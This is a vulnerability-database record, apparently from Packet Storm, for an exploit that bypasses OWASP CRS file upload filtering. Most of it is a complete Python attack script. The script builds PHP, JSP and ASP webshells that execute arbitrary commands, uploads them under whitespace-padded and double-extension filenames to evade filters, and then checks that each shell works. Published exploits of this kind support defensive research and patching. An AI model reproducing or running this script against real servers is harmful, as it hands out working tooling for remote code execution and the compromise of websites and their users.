{“lastseen”:”2026-04-27T16:33:10″,”description”:”This proof of concept demonstrating a weakness in some web applications protected by OWASP Core Rule Set CRS or similar filters, where file upload validation can be bypassed using ambiguous filename formatting…”,”published”:”2026-04-27T00:00:00″,”modified”:”2026-04-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OWASP CRS 3.3.9 \/ 4.25.x LTS \/ 4.8.x File Upload Bypass”,”source”:””,”references”:””,”id”:”PACKETSTORM:219846″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : OWASP CRS 3.3.9, 4.25.x LTS, and 4.8.x. File Upload Bypass via Filename Whitespace \/ Extension Parsing Weakness |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/owasp.org\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : a weakness in some web applications protected by OWASP Core Rule Set (CRS) or similar filters, where file upload validation can be bypassed using ambiguous filename formatting.\\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import requests\\n import sys\\n import argparse\\n import os\\n from urllib.parse import urljoin\\n \\n class CRSBypassExploit:\\n def __init__(self, target_url, upload_endpoint, verbose=False):\\n self.target_url = target_url.rstrip(‘\/’)\\n self.upload_endpoint = upload_endpoint\\n self.verbose = verbose\\n self.session = requests.Session()\\n \\n def log(self, message, level=\\”INFO\\”):\\n if self.verbose or level == \\”ERROR\\”:\\n colors = {\\n \\”INFO\\”: \\”\\\\033[94m\\”,\\n \\”SUCCESS\\”: \\”\\\\033[92m\\”,\\n \\”ERROR\\”: \\”\\\\033[91m\\”,\\n \\”WARNING\\”: \\”\\\\033[93m\\”\\n }\\n print(f\\”{colors.get(level, ”)}[{level}] {message}\\\\033[0m\\”)\\n \\n def generate_webshell_php(self, cmd_param=\\”cmd\\”):\\n return f\\”\\”\\”\\u003c?php\\n if (isset($_REQUEST[‘{cmd_param}’])) {{\\n $cmd = $_REQUEST[‘{cmd_param}’];\\n echo \\”\\u003cpre\\u003e\\” . shell_exec($cmd) . \\”\\u003c\/pre\\u003e\\”;\\n }} else {{\\n echo \\”Webshell loaded. Use ?{cmd_param}=command\\”;\\n }}\\n ?\\u003e\\”\\”\\”\\n \\n def generate_webshell_jsp(self, cmd_param=\\”cmd\\”):\\n return f\\”\\”\\”\\u003c%@ page import=\\”java.io.*\\” %\\u003e\\n \\u003c%\\n String cmd = request.getParameter(\\”{cmd_param}\\”);\\n if (cmd != null) {{\\n Process p = Runtime.getRuntime().exec(cmd);\\n BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));\\n String line;\\n while ((line = reader.readLine()) != null) {{\\n out.println(line);\\n }}\\n }}\\n %\\u003e\\”\\”\\”\\n \\n def generate_webshell_asp(self, cmd_param=\\”cmd\\”):\\n return f\\”\\”\\”\\u003c%\\n Dim cmd\\n cmd = Request(\\”{cmd_param}\\”)\\n If cmd \\u003c\\u003e \\”\\” Then\\n CreateObject(\\”WScript.Shell\\”).Run cmd, 0, True\\n End If\\n %\\u003e\\”\\”\\”\\n \\n def upload_file(self, file_content, original_filename, extension, whitespace_position=\\”before\\”):\\n if whitespace_position == \\”before\\”:\\n filename = f\\”{original_filename}. {extension}\\”\\n elif whitespace_position == \\”after\\”:\\n filename = f\\”{original_filename}.{extension} \\”\\n elif whitespace_position == \\”both\\”:\\n filename = f\\”{original_filename}. {extension} \\”\\n elif whitespace_position == \\”double\\”:\\n filename = f\\”{original_filename}.{extension} \\”\\n else:\\n filename = f\\”{original_filename}.{extension}\\”\\n \\n files = {\\n ‘file’: (filename, file_content,\\n ‘application\/x-httpd-php’ if extension == ‘php’ else ‘application\/x-jsp’)\\n }\\n \\n try:\\n url = urljoin(self.target_url, self.upload_endpoint)\\n response = self.session.post(url, files=files)\\n \\n self.log(f\\”Uploaded: {filename}\\”, \\”INFO\\”)\\n self.log(f\\”Response status: {response.status_code}\\”, \\”INFO\\”)\\n \\n return {\\n ‘success’: response.status_code \\u003c 400,\\n ‘filename’: filename,\\n ‘response’: response.text,\\n ‘status_code’: response.status_code\\n }\\n except Exception as e:\\n self.log(f\\”Upload failed: {e}\\”, \\”ERROR\\”)\\n return None\\n \\n def exploit_php(self, original_filename=\\”shell\\”):\\n self.log(\\”Attempting PHP webshell upload…\\”, \\”INFO\\”)\\n content = self.generate_webshell_php()\\n patterns = [‘before’, ‘after’, ‘both’, ‘double’]\\n \\n for pattern in patterns:\\n self.log(f\\”Trying pattern: {pattern}\\”, \\”INFO\\”)\\n result = self.upload_file(content, original_filename, \\”php\\”, pattern)\\n \\n if result and result[‘success’]:\\n self.log(f\\”SUCCESS! Uploaded with pattern: {pattern}\\”, \\”SUCCESS\\”)\\n return result\\n \\n self.log(\\”All PHP patterns failed\\”, \\”WARNING\\”)\\n return None\\n \\n def exploit_jsp(self, original_filename=\\”shell\\”):\\n self.log(\\”Attempting JSP webshell upload…\\”, \\”INFO\\”)\\n content = self.generate_webshell_jsp()\\n patterns = [‘before’, ‘after’, ‘both’, ‘double’]\\n \\n for pattern in patterns:\\n self.log(f\\”Trying pattern: {pattern}\\”, \\”INFO\\”)\\n result = self.upload_file(content, original_filename, \\”jsp\\”, pattern)\\n \\n if result and result[‘success’]:\\n self.log(f\\”SUCCESS! Uploaded with pattern: {pattern}\\”, \\”SUCCESS\\”)\\n return result\\n \\n self.log(\\”All JSP patterns failed\\”, \\”WARNING\\”)\\n return None\\n \\n def test_webshell(self, upload_path, cmd=\\”whoami\\”):\\n try:\\n url = urljoin(self.target_url, upload_path)\\n response = self.session.get(url, params={‘cmd’: cmd})\\n \\n if response.status_code == 200 and response.text:\\n self.log(f\\”Webshell working! Command output: {response.text[:200]}\\”, \\”SUCCESS\\”)\\n return True\\n else:\\n self.log(\\”Webshell test failed\\”, \\”WARNING\\”)\\n return False\\n except Exception as e:\\n self.log(f\\”Test failed: {e}\\”, \\”ERROR\\”)\\n return False\\n \\n def exploit_double_extension(self):\\n self.log(\\”Attempting double-extension bypass…\\”, \\”INFO\\”)\\n \\n content = self.generate_webshell_php()\\n filename = \\”shell. php.jpg\\”\\n \\n files = {\\n ‘file’: (filename, content, ‘image\/jpeg’)\\n }\\n \\n try:\\n url = urljoin(self.target_url, self.upload_endpoint)\\n response = self.session.post(url, files=files)\\n \\n if response.status_code \\u003c 400:\\n self.log(f\\”Double-extension upload successful: {filename}\\”, \\”SUCCESS\\”)\\n return {\\n ‘success’: True,\\n ‘filename’: filename,\\n ‘status_code’: response.status_code\\n }\\n else:\\n self.log(\\”Double-extension upload failed\\”, \\”WARNING\\”)\\n return None\\n except Exception as e:\\n self.log(f\\”Double-extension upload failed: {e}\\”, \\”ERROR\\”)\\n return None\\n \\n \\n def main():\\n parser = argparse.ArgumentParser(description=’OWASP CRS Bypass Exploit – File Upload with Whitespace Padding’)\\n parser.add_argument(‘-u’, ‘–url’, required=True)\\n parser.add_argument(‘-e’, ‘–endpoint’, default=’\/upload’)\\n parser.add_argument(‘-t’, ‘–type’, choices=[‘php’, ‘jsp’, ‘both’], default=’both’)\\n parser.add_argument(‘-v’, ‘–verbose’, action=’store_true’)\\n parser.add_argument(‘-c’, ‘–command’, default=’whoami’)\\n \\n args = parser.parse_args()\\n \\n print(\\”=\\” * 60)\\n print(\\”OWASP CRS Bypass Exploit – CVE-2025-XXXXX\\”)\\n print(\\”=\\” * 60)\\n \\n exploit = CRSBypassExploit(args.url, args.endpoint, args.verbose)\\n results = []\\n \\n if args.type in [‘php’, ‘both’]:\\n result = exploit.exploit_php()\\n if result:\\n results.append((‘PHP’, result))\\n \\n if args.type in [‘jsp’, ‘both’]:\\n result = exploit.exploit_jsp()\\n if result:\\n results.append((‘JSP’, result))\\n \\n double_result = exploit.exploit_double_extension()\\n if double_result:\\n results.append((‘Double Extension’, double_result))\\n \\n if results:\\n print(\\”\\\\n\\” + \\”=\\” * 60)\\n print(\\”EXPLOITATION SUMMARY\\”)\\n print(\\”=\\” * 60)\\n \\n for exploit_type, result in results:\\n print(f\\”\\\\n[+] {exploit_type} exploit successful!\\”)\\n print(f\\” Filename: {result.get(‘filename’)}\\”)\\n print(f\\” Status: {result.get(‘status_code’, ‘N\/A’)}\\”)\\n \\n print(f\\”\\\\n[*] Testing webshell with command: {args.command}\\”)\\n exploit.test_webshell(result.get(‘filename’), args.command)\\n else:\\n print(\\”\\\\n[-] Exploitation failed!\\”)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219846″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219846\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
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